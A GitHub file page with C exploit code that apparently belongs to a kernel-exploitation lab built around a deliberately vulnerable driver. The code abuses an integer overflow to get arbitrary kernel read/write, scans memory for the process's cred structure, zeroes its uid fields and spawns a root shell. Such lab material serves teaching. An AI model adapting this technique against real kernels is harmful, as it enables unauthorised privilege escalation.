Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
236 lines (181 sloc) 5.13 KB
#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include "../src/vuln_driver.h"
#define BUFF_SIZE 4096
#define START_ADDR 0xffff880000000000
typedef struct init_args {
size_t size;
}init_args;
typedef struct realloc_args {
int grow;
size_t size;
}realloc_args;
typedef struct read_args {
char *buff;
size_t count;
}read_args;
typedef struct seek_args {
loff_t new_pos;
}seek_args;
typedef struct write_args {
char *buff;
size_t count;
}write_args;
/**
* Read BUFF_SIZE=PAGE_SIZE amount of memory.
*/
int read_mem(int fd, unsigned long addr, char *buff)
{
seek_args s_args;
read_args r_args;
int ret;
s_args.new_pos = addr - 0x10;
ret = ioctl(fd, ARBITRARY_RW_SEEK, &s_args);
r_args.buff = buff;
r_args.count = BUFF_SIZE;
ret = ioctl(fd, ARBITRARY_RW_READ, &r_args);
return ret;
}
/**
* Loop continuosly, leaking a page of kernel memory at a time.
* On each iteration we try and find our comm structure, if we find it
* then store the addresses in cred and real_cred.
*/
void find_task_struct(int fd, unsigned long *cred, unsigned long *real_cred, char *buffer, char *comm)
{
unsigned long offset = 0;
unsigned long k_addr = START_ADDR;
unsigned long *start_buffer;
int ret;
while(1)
{
k_addr = START_ADDR + offset;
//if we've wrapped around then we havent found our signature anywhere in kernel memory
if(k_addr < START_ADDR)
{
break;
}
//read a page into our userspace buffer
ret = read_mem(fd, k_addr, buffer);
//couldnt read at that address
if(ret != 0)
{
offset += BUFF_SIZE;
continue;
}
start_buffer = (unsigned long *)buffer;
//search this page for our comm field
start_buffer = memmem(start_buffer, BUFF_SIZE,
comm, sizeof(comm));
if(start_buffer != NULL)
{
if ( (start_buffer[-2] > START_ADDR) && (start_buffer[-1] > START_ADDR ) )
{
*real_cred = start_buffer[-2];
*cred = start_buffer[-1];
printf("[+] Found comm signature %s at %p [+]\n", start_buffer, (unsigned long *) (k_addr + ((char *)start_buffer - buffer)));
printf("[+] real_cred: %p [+]\n", *real_cred);
printf("[+] cred: %p [+]\n", *cred);
break;
}
}
offset += BUFF_SIZE;
}
}
/**
* Given the address of the cred struct, seek to each field in the struct
* and overwrite it with null bytes - setting uid = 0, gid = 0 etc
*/
int overwrite_creds(int fd, unsigned long cred_addr, unsigned long real_cred_addr)
{
seek_args s_args;
write_args w_args;
char *buff = 0;
memset(&s_args, 0, sizeof(seek_args));
s_args.new_pos = cred_addr - 0x10 + sizeof(int); //we need to skip past the usage field
memset(&w_args, 0, sizeof(write_args));
w_args.buff = buff;
w_args.count = sizeof(int);
for(int i = 0; i < 6; i++)
{
ioctl(fd, ARBITRARY_RW_SEEK, &s_args); //point to that uid field in cred
ioctl(fd, ARBITRARY_RW_WRITE, &w_args); //overwrite that uid field
s_args.new_pos += sizeof(int); //point to the next uid field
}
//somehow we were unsuccessful
if(getuid() != 0)
return -1;
return 0;
}
/**
* Generate a simple string that is somewhat random. We will
* search for this later when we leak kernel memory.
*/
void gen_rand_str ( char *str, unsigned int len )
{
unsigned int i;
char *alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijlkmnopqrstuvwxyz123456789";
size_t alpha_len = strlen(alpha);
for ( i = 0; i < (len - 1); i++ )
str[i] = alpha[rand() % alpha_len];
str[len - 1] = 0;
}
int main()
{
int fd = open("/dev/vulnerable_device", O_RDWR);
unsigned int ret;
//map the buffer that we will read kernel memory from
char *buffer = mmap(NULL, BUFF_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0,0);
char comm[16] = {0};
srand(time(NULL));
gen_rand_str(comm, 16);
/*set the comm field to our signature, the comm field is directly after the
* the task_struct in memory, so if we can find comm we can find our creds
*/
ret = prctl(PR_SET_NAME, comm);
if(ret < 0)
{
printf("[x] Could not set comm field [x]\n");
return -1;
}
/* initialise the mem buffer */
init_args i_args = {
.size = 1,
};
ret = ioctl(fd, ARBITRARY_RW_INIT, &i_args);
/* Reallocate it, we shrink the buffer by 2, causing an int overflow
* such that size = MAX_INT and data->0x10
*/
realloc_args r_args = {
.grow = 0,
.size = 2,
};
ret = ioctl(fd, ARBITRARY_RW_REALLOC, &r_args);
/* Find the comm field in leaked memory */
unsigned long cred = 0, real_cred = 0;
find_task_struct(fd, &cred, &real_cred, buffer, comm);
/* An error occurred */
if(cred == 0 && real_cred == 0)
{
printf("[x] Could not find comm field exiting...\n");
close(fd);
exit(-1);
}
/* We overwrite our cred fields and pop a root shell */
if(overwrite_creds(fd, cred, real_cred) == 0)
{
printf("[!!!] Successfully escalated privileges, you get a root shell....\n");
system("/bin/sh");
}
close(fd);
}
You can’t perform that action at this time.